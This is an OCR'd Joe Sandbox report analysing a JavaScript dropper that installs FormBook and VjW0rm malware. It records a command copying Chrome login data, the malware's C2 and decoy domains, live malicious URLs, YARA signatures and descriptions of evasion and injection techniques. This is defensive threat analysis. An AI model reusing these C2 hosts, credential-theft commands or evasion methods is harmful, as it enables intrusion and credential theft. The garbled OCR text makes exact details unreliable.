JOESandbox Cloud™*

ID: 635313

Sample Name: CIQ-
P0O162688.js

Cookbook: default.jbs

Time: 19:01:26

Date: 27/05/2022

Version: 34.0.0 Boulder Opal



Table of Contents

Table of Contents
Windows Analysis Report CIQ-P0O162688.js

Overview
General Information
Detection
Signatures
Classification
Process Tree

Malware Configuration
Threatname: FormBook
Yara Signatures
Dropped Files
Memory Dumps
Unpacked PEs
Sigma Signatures
Data Obfuscation
Snort Signatures
Joe Sandbox Signatures
AV Detection
Software Vulnerabilities
Networking
E-Banking Fraud
System Summary

©WOOOOoOWNN~N~Noo~rDMDMANAMNDNDBDDN

Boot Survival 10
Malware Analysis System Evasion 10
HIPS / PFW / Operating System Protection Evasion 10
Stealing of Sensitive Information 10
Remote Access Functionality 10
Mitre Att&ck Matrix 10
Behavior Graph 11
Screenshots 11
Thumbnails 11
Antivirus, Machine Learning and Genetic Malware Detection 12
Initial Sample 12
Dropped Files 12
Unpacked PE Files 13
Domains 13
URLs 13
Domains and IPs 15
Contacted Domains 15
Contacted URLs 15
URLs from Memory and Binaries 16
World Map of Contacted IPs 22
Public IPs 22
Private 23
General Information 23
Warnings 23
Simulations 24
Behavior and APIs 24
Joe Sandbox View / Context 24
IPs 24
Domains 24
ASNs 24
JA3 Fingerprints 24
Dropped Files 24
Created / dropped Files 24
C:\Program Files (x86)\IrIr8ftbp\u8g48fg0phzxan.exe 24
C:\Users\user\AppData\Local\Temp\DB1 25
C:\Users\user\AppData\Local\Temp\Irir8ftbp\u8g48fgOphzxan.exe 25
C:\Users\user\AppData\Local\Temp\bin.exe 25
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms 26
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RmiljXZkdd.js 26
C:\Users\user\AppData\Roaming\RmiljXZkdd.js 26
Static File Info 27
General 27
File Icon 27
Network Behavior 27
Snort IDS Alerts 27
Network Port Distribution 28
TCP Packets 28
UDP Packets 30
ICMP Packets 32
DNS Queries 32

Copyright Joe Security LLC 2022 Page 2 of 85



DNS Answers 34

HTTP Request Dependency Graph 37
HTTP Packets 37
Statistics 75
Behavior 75
System Behavior 75
Analysis Process: wscript.exePID: 5708, Parent PID: 3688 75
General 75
File Activities 76
Analysis Process: wscript.exePID: 6132, Parent PID: 5708 76
General 76
File Activities 7
File Created 77

File Written 77
Registry Activities 77
Analysis Process: bin.exePID: 684, Parent PID: 5708 77
General 7
File Activities 78
File Read 78
Analysis Process: explorer.exePID: 3688, Parent PID: 684 78
General 78
File Activities 79
File Created 79

File Deleted 79

File Written 79
Registry Activities 79
Analysis Process: wscript.exePID: 5812, Parent PID: 3688 80
General 80
File Activities 80
File Written 80
Analysis Process: wscript.exePID: 1272, Parent PID: 3688 81
General 81
Analysis Process: wscript.exePID: 6040, Parent PID: 3688 81
General 81
File Activities 81
Registry Activities 82
Analysis Process: help.exePID: 5440, Parent PID: 3688 82
General 82
File Activities 82
File Read 82
Registry Activities 82
Analysis Process: cmd.exePID: 4252, Parent PID: 5440 83
General 83
File Activities 83
Analysis Process: conhost.exePID: 4228, Parent PID: 4252 83
General 83
Analysis Process: cmd.exePID: 1348, Parent PID: 5440 83
General 83
File Activities 84
File Created 84

File Written 84

File Read 84
Analysis Process: conhost.exePID: 1860, Parent PID: 1348 84
General 84
Analysis Process: u8g48fgOphzxan.exePID: 3344, Parent PID: 3688 85
General 85
Disassembly 85

Copyright Joe Security LLC 2022 Page 3 of 85



Windows Analysis Report

ClQ-P0O162688.js

Overview

Sample CIQ-P0O162688.js
Name: MALICI Found malware configuration

General Information Detection Signat
Analysis ID: 635313 i

Multi AV Scanner detection for subm

ures Classification

MD5:

ebch99f17238dd.. Yara detected FormBook
SHAL: 16628142a86383.
SHA256: €873129006fh78.

Malicious sample detected (through
System process connects to networ
nfos: nBQt
Yara detected VjWOrm
Q & mem
q Antivirus detection for URL or domain
FormBook, Vj\WOrm
Antivirus detection for dropped file
Score: 100
Range: 0-100 Sigma detected: Drops script at sta...

Whitelisted: false Multi AV Scanner detection for drop
Confidence: 100% Snort IDS alert for network traffic

Benign windows process drops PE f...

B9 (W i

DWW D W D

Process Tree

= System is w10x64

. i; wscript.exe (PID: 5708 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-P0162688.js" MD5: 9A6BADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 6132 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\RmiljXZkdd.js MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)
e [E bin.exe (PID: 684 cmdline: "C:\Users\user\AppData\Local\Temp\bin.exe" MD5: FF568D4337CE1566C4140FA2FEDF8DBS)
e [E1 explorer.exe (PID: 3688 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOE1D)
. i> wscript.exe (PID: 5812 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\RmiljXZkdd.js" MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 1272 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\RmiljXZkdd.js" MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 6040 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RmiljXZkd
d.js" MD5: 9A6BADD12EB50DDE7586782C3EBIFFIC)
e (B help.exe (PID: 5440 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)
B cmd.exe (PID: 4252 cmdline: /c del "C:\Users\user\AppData\Local\Temp\bin.exe" MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 4228 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. cmd.exe (PID: 1348 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1"
/V MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 1860 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e (B u8g48fgOphzxan.exe (PID: 3344 cmdline: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe MD5: FF568D4337CE1566C4140FA2FEDF8DBS)
= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [

"www. gafcbooster.com/np8s/"

1,

"decoy": [
"segredovideos.online",
"kishanshree.com”,
"mjmvn.com",

"44bb44.com",
"brawlhallacodestore.com”,
"littlebeartreeservices.com”,
"topings33.com",
"nachuejooj07.xyz",
"waermark.com",
"halecamilla.site",
"basincreekmedia.com",
"resolutionmeasles.com”,
"interlink-travel.com",
"siberup.xyz",
"getbusinesscreditandfunding.com”,
"shcylzc.com",
"68chengxinle.com”,
"jkrsbarmybookarmy.com",
"geo-pacificoffshore.com”,
"refreshertowels.com”,
"localbloom.online”,
"brandingaloha.com”,
"84866.xyz",
"salondutaxi.com”,
"harmlett.com",
"angelmatic.net”,
"o70iwlp.xyz",
"thepowerofanopenquestion.com”,
"tokenascent.com”,
"udrivestorage.com",
"hengyuejiguang.com”,
"minotaur.network”,
"ratebill.com",
"18w99.com",

"2264a.com",
"tentanguang.online",
"muddybootslife.com",
"vitality-patients.online",
"heavymettlelawyers.com",
"spxtokensales.com",
"titair.com",
"lazarusnatura.com",
"rasheedabossmoves.com”,
"medyumgalip.com”,
"liveafunday.xyz",
"xn--wsthof-camping-gsb.com",
"xfd8asvtivg944.xyz",
"myhvn.site",

"964061.com",
"screeshot.com",
"mysbaally.com",
"connectfamily. loan",
"langlev.com",
"labsreports-menalab.com”,
"gabefancher.com",
"jdhwh2nbiw234.com",
"pdwfifi.com",
"losangelesrentalz.com”,
"brandpay.xyz",
"jlbwaterdamagerepairseattle.com”,
"wps-mtb.com",
"sekolahkejepang.com”,
"saastainability.com”,
"multiverseofbooks.com"

}
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Yara Signatures

Dropped Files

Source

C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe

C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe

C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe

C:\Users\user\AppData\Local\Temp\bin.exe

C:\Users\user\AppData\Local\Temp\bin.exe

Memory Dumps

Source

00000004.00000003.422284630.0000014D0B276000.00000

004.00000020.00020000.00000000.sdmp

00000009.00000002.930406757.00000000035D7000.00000
004.10000000.00040000.00000000.sdmp

00000009.00000002.930406757.00000000035D7000.00000
004.10000000.00040000.00000000.sdmp

00000009.00000002.930406757.00000000035D7000.00000
004.10000000.00040000.00000000.sdmp

00000000.00000003.402204010.000001873775D000.00000
004.00000020.00020000.00000000.sdmp
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Rule

JoeSecurity_Form
Book

Formbook_1

Formbook

JoeSecurity_Form
Book

Formbook_1

Rule

JoeSecurity_Vjwor

m

JoeSecurity_Form
Book

Formbook_1

Formbook

SUSP_Base64_En
coded_Hex_Encod

ed_Code

Description

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook
in memory

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Description

Yara detected
VjWOrm

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook
in memory

Detects hex
encoded code that
has been base64
encoded

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Click to see the 4 entries

Author

Joe Security

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Florian Roth

Click to see the 98 entries

Strings

.

e o o o

e o o o o o e o o o

.

e o o o

e o o o

0x8c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8fa2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x16345:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x15dfl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x99ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E30F C1 EA 06

0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x18819:$sqlite3step: 68 34 1C 7B E1
0x1892c:$sqlite3step: 68 34 1C 7B E1
0x18848:$sqlite3text: 68 38 2A 90 C5
0x1896d:$sqlite3text: 68 38 2A 90 C5
0x1885b:$sqlite3blob: 68 53 D8 7F 8C
0x18983:$sqlite3blob: 68 53 D8 7F 8C

0x8c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
Ox8fa2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x16345:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0Ox15dfl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x99ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 0F C1EA06

0x1506¢:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Strings

e o o o .

e o o o

e o o o o o

.

0x9578:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x9912:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x16ch5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x16761:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x16db7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
Ox16f2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa32a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 0OF C1 EA 06

0x159dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb0a2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1c307:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1d40a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x19189:$sqlite3step: 68 34 1C 7B E1
0x1929c:$sqlite3step: 68 34 1C 7B E1
0x191b8:$sqlite3text: 68 38 2A 90 C5
0x192dd:$sqlite3text: 68 38 2A 90 C5
0x191ch:$sqlite3blob: 68 53 D8 7F 8C
0x192f3:$sqlite3blob: 68 53 D8 7F 8C

0x4cf0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67
0x4d00:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67
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Unpacked PEs

Source

0.3.wscript.exe.18737493000.0.unpack

0.3.wscript.exe.18737493000.0.unpack

0.3.wscript.exe.18737493000.0.unpack

18.0.u8g48fg0phzxan.exe.1200000.1.unpack

18.0.u8g48fg0phzxan.exe.1200000.1.unpack

Sigma Signatures

Data Obfuscation

Sigma detected: Drops script at startup location

Snort Signatures

Rule

JoeSecurity_Form
Book

Formbook_1

Formbook

JoeSecurity_Form
Book

Formbook_1

Description

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook
in memory

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Click to see the 22 entries

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 81.169.145.161

Timestamp:

SID: 2031453
Source Port: 49886
Destination Port: 80
Protocol: TCP

Classtype:

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 3.64.163.50

Timestamp:

SID: 2031412
Source Port: 49790
Destination Port: 80
Protocol: TCP

Classtype:

Copyright Joe Security LLC 2022

A Network Trojan was detected

192.168.2.681.169.145.16149886802031453 05/27/22-19:07:42.223045

192.168.2.63.64.163.5049790802031412 05/27/22-19:05:24.029909

Strings

.

e o o o e o o o

0x7e08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8la2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15545:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x8bba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 0F C1 EA 06

0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x17a19:$sqlite3step: 68 34 1C 7B E1
0x17b2c:$sqlite3step: 68 34 1C 7B E1
0x17a48:$sqlite3text: 68 38 2A 90 C5
0x17b6d:$sqlite3text: 68 38 2A 90 C5
0x17a5b:$sqlite3blob: 68 53 D8 7F 8C
0x17b83:$sqlite3blob: 68 53 D8 7F 8C

0x7e08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8la2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15545:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

Ox14ffl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Ox8bba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 OF C1 EA 06

0x1426¢c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00
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ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 3.64.163.50 —

Timestamp: 192.168.2.63.64.163.5049790802031453 05/27/22-19:05:24.029909

SID: 2031453

Source Port: 49790

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 81.169.145.161 —
Timestamp: 192.168.2.681.169.145.16149886802031412 05/27/22-19:07:42.223045

SID: 2031412

Source Port: 49886

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 198.54.117.217 -—
Timestamp: 192.168.2.6198.54.117.21749843802031453 05/27/22-19:06:33.809384

SID: 2031453

Source Port: 49843

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 198.54.117.217 —
Timestamp: 192.168.2.6198.54.117.21749843802031412 05/27/22-19:06:33.809384

SID: 2031412

Source Port: 49843

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 81.169.145.161 =
Timestamp: 192.168.2.681.169.145.16149886802031449 05/27/22-19:07:42.223045

SID: 2031449

Source Port: 49886

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 81.169.145.161 -—
Timestamp: 192.168.2.681.169.145.16149818802031412 05/27/22-19:05:51.490773

SID: 2031412

Source Port: 49818

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 81.169.145.161 -—
Timestamp: 192.168.2.681.169.145.16149818802031453 05/27/22-19:05:51.490773

SID: 2031453

Source Port: 49818

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 198.54.117.217 —
Timestamp: 192.168.2.6198.54.117.21749843802031449 05/27/22-19:06:33.809384

SID: 2031449

Source Port: 49843
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Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 81.169.145.161 —
Timestamp: 192.168.2.681.169.145.16149818802031449 05/27/22-19:05:51.490773

SID: 2031449

Source Port: 49818

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 3.64.163.50 -—
Timestamp: 192.168.2.63.64.163.5049790802031449 05/27/22-19:05:24.029909

SID: 2031449

Source Port: 49790

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for URL or domain
Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Networking

JavaScript source code contains call to eval containing suspicious API calls

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

Performs DNS queries to domains with low reputation

C2 URLs / IPs found in malware configuration

E-Banking Fraud

System Summary

Malicious sample detected (through community Yara rule)

Wscript called in batch mode (surpress errors)
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Boot Survival

Creates an undocumented autostart registry key

Drops script or batch files to the startup folder

Malware Analysis System Evasion mi.

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information

Yara detected FormBook

Yara detected VjWOrm

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality mi.

Yara detected FormBook

Yara detected VjWOrm

Mitre Att&ck Matrix

Initial . . Privilege  Defense Credential . Lateral . " . Command Network Remf)te
Execution Persistence . . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
valid Remote Exfiltration Eavesdrop Remotely  Modify
Accounts Windows Registry Process Deobfuscat OS File and Services Archive Over Other Ingress on Insecure  Track System
Manageme Run Keys/ Injection e/Decode  Credential  Directory Collected Network Tool Network Device Partition
nt Startup Files or Dumping Discovery Data Medium Transfer Communic  Without
Instrument ~ Folder Information ation Authorizati
ation on
Default B Boot or Remote Exfiltration Exploit SS7 Remotely  Device
Accounts Scripting Logon Registry Scripting Input System Desktop Data from  Over Encrypted  to Redirect Wipe Data  Lockout
Initializatio  Run Keys / Capture Information = Protocol Local Bluetooth Channel Phone Without
n Scripts Startup Discovery System Calls/SMS  Authorizati
Folder on
Domain Logon Logon Security SMB/Wind Automated Exploit SS7 Obtain Delete
Accounts Shared Script Script Obfuscated Account Query ows Admin  Email Exfiltration  Non- to Track Device Device
Modules (Windows)  (Windows) Files or Manager Registry Shares Collection Standard Device Cloud Data
Information Port Location Backups
Local Logon Logon NTDS n Distributed Scheduled SIM Card Carrier
Accounts Exploitation Script Script Software Security Component Input Transfer Data Swap Billing
for Client (Mac) (Mac) Packing Software Object Capture Encoding Fraud
Execution Discovery  Model
Cloud Cron Network Network LSA SSH Keylogging Data Manipulate Manipulate
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Script Script ng n/Sandbox Size Limits  Application  Communic Rankings
Evasion Layer ation or Ratings
Protocol

Copyright Joe Security LLC 2022 Page 10 of 85



Command Remote
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Services Injection System Manageme Alternative Points for Impact
Discovery  nt Protocol

Behavior Graph

Legend:

I:l Process
|:| Signature

|:| Created File

Il onsieinfo
=

Fiy's Is Dropped

- .
mg s Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

IEUAL

)

Delphi

i
i
=

Java

.Net C# or VB.NET

- - — """"'

C, C++ or other language

/ |
E
D@ 2 i~

Is malicious

‘‘‘‘‘ - Internet

Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

CIQ-PO162688.js
CIQ-PO162688.js

Dropped Files

Source

C:\Program Files (x86)\Irir8ftbp\u8g48fgOphzxan.exe
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View
Sort by
Refresh
Paste
Paste shortcut
New

B 1 Display settings

& Personalize

Detection

25%

15%

Detection

100%

Scanner

Virustotal

ReversingLabs

Scanner

Avira

Label Link
Browse

Script-
JS.Trojan.Cryxos

Label Link

TR/Crypt.ZPACK.
Gen
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https://www.virustotal.com/gui/file/e873129006fb7f83c9bec9516fd3ce2e3737f79df1458606445e61926a844f4a/detection/f-e873129006fb7f83c9bec9516fd3ce2e3737f79df1458606445e61926a844f4a-1653624779

Source Detection Scanner Label Link

C:\Program Files (x86)\Irir8ftbp\u8g48fgOphzxan.exe 100% Avira TR/Crypt.ZPACK.

Gen
C:\Users\user\AppData\Local\Temp\bin.exe 100% Avira TR/Crypt.ZPACK.

Gen
C:\Program Files (x86)\IrIr8ftbp\u8g48fgOphzxan.exe 100% Joe Sandbox ML
C:\Program Files (x86)\Irir8ftbp\u8g48fgOphzxan.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\bin.exe 100% Joe Sandbox ML
C:\Program Files (x86)\Irir8ftbp\u8g48fgOphzxan.exe 49% Metadefender Browse
C:\Program Files (x86)\Irir8ftbp\u8g48fgOphzxan.exe 100% ReversingLabs Win32.Trojan.Form

Book
C:\Users\user\AppData\Local\Temp\Irir8ftbp\u8g48fgOphzxan.exe 49% Metadefender Browse
C:\Users\user\AppData\Local\Temp\Irir8ftbp\u8g48fgOphzxan.exe 100% ReversingLabs Win32.Trojan.Form

Book
C:\Users\user\AppData\Local\Temp\bin.exe 49% Metadefender Browse
C:\Users\user\AppData\Local\Temp\bin.exe 100% ReversingLabs Win32.Trojan.Form

Book

Unpacked PE Files

Source Detection Scanner Label Link Download

18.0.u8g48fg0phzxan.exe.1200000.0.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

18.2.u8g48fg0phzxan.exe.1200000.0.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

18.0.u8g48fg0phzxan.exe.1200000.3.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

18.0.u8g48fg0phzxan.exe.1200000.1.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

0.3.wscript.exe.18737493000.0.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

2.2.bin.exe.fc0000.3.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

18.0.u8g48fg0phzxan.exe.1200000.2.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

2.0.bin.exe.fc0000.0.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

2.3.bin.exe.7bdb30.0.unpack 100% Avira TR/Patched.Gen Download File

Domains

Source Detection Scanner Label Link

dilshadkhan.duia.ro 3% Virustotal Browse

URLs

Source Detection Scanner Label Link

http://www.brandpay.xyz/np8s/ 100% Avira URL Cloud phishing

http:ifdilshadkhan.duia.ro:6670/Vreod 100% Avira URL Cloud ~ malware

http://www.brandpay.xyz/np8s/? 100% Avira URL Cloud phishing

3fk4oN=hgAcLcCQcJ9fw2P/TukOsK1loy/luL6ulzsG1wPPsT2rq6CikgixxXMntvKpZqETXTWLI6SHOZA==

&Eh=mhUx|

http.//www.gabefancher.com 0% Avira URL Cloud safe

http.//www.vitality-patients.online/np8s/ 0% Avira URL Cloud safe

http://www.tentanguang.online/np8s/? 100% Avira URL Cloud phishing

3fk4oN=v4u/ceKk0Zb55n135mmkOO9hINXI7kGAYBx+qrEyA785N/4y0zrdRsBV3cMwWbOWS5k3YBKZ
GgA==&Eh=mhUxI

http://www.waermark.com/np8s/ 100% Avira URL Cloud ~ malware
http://www.xn--wsthof-camping-gsb.com/np8s/? 100% Avira URL Cloud malware
3fk4oN=1NsiocOlpQImfCEv7q3CJRvbkNIovwFEONaUY8zyneWF7ypKO8Ggemnlz/Jz3gNJORZyolUFog

==&Eh=mhUx|

http://dilshadkhan.duia.ro:6670/VrePSAIUKYirr 100% Avira URL Cloud malware
hitp:/fwww.harmlett.com/np8s/? 0% Avira URL Cloud safe

aDHdzD=vpgdJ4mxrh&3fk4oN=Hfm8tjP++bF99H8YixudyiAA2pucxCUNYZIpJGNk6F/7VNXQ3kF60qglcn
nPYkdM2cMsNINi87w==

http://dilshadkhan.duia.ro:6670/VrebWcgPSAi 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vreecuritycenter? 100% Avira URL Cloud malware
hitp:/fwww.harmlett.com/np8s/ 0% Avira URL Cloud safe
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis
https://www.virustotal.com/gui/url/45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd/detection/u-45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd-1653611247

Source

http://dilshadkhan.duia.ro:6670/Vreecuritycenterre

hitp:/fwww.shcylzc.com/np8s/?
3fkdoN=25l4eedf3LYXj+mrZ2jl60lVDZbg0jTgzRvorLdGhmBPpJDDPx12pMPLDd38wf67F/cvJLWRDA==
&Eh=mhUx|

http:/fhttps://www.namebrightstatic.com/images/header_bg.png)
http://dilshadkhan.duia.ro:6670/UZXh0
http://dilshadkhan.duia.ro:6670/Vrewz
http://www.getbusinesscreditandfunding.com/np8s/
http://dilshadkhan.duia.ro:6670/VrezjB
hitp:/fwww.siberup.xyz/np8s/
http://dilshadkhan.duia.ro:6670/Vre=
http://dilshadkhan.duia.ro:6670/Vre8

http://www.getbusinesscreditandfunding.com/np8s/?
3fk4oN=0pptggpOMeRyeb/9nmudohOLKqg4u2ksDwR1w+rnfL4/weltceqenlGY7vNOGaAQzxdf5zVwFvA=
=&Eh=mhuxI

http://www.xn--wsthof-camping-gsb.com/np8s/
http://dilshadkhan.duia.ro:6670/VreM7d
http://dilshadkhan.duia.ro:6670/Vre3
http://dilshadkhan.duia.ro:6670/Vreo&
http://www.gabefancher.com/np8s/

hitp:ffwww.vitality-patients.online/np8s/?
3fkdoN=RNX6HKFDckILmbBcOPWX652dIgRY JcuZVnkY PjFZaGFpiofgSjcQ52/zY ZHNiyjWwOOCOCN7HS
w==&Eh=mhUxI

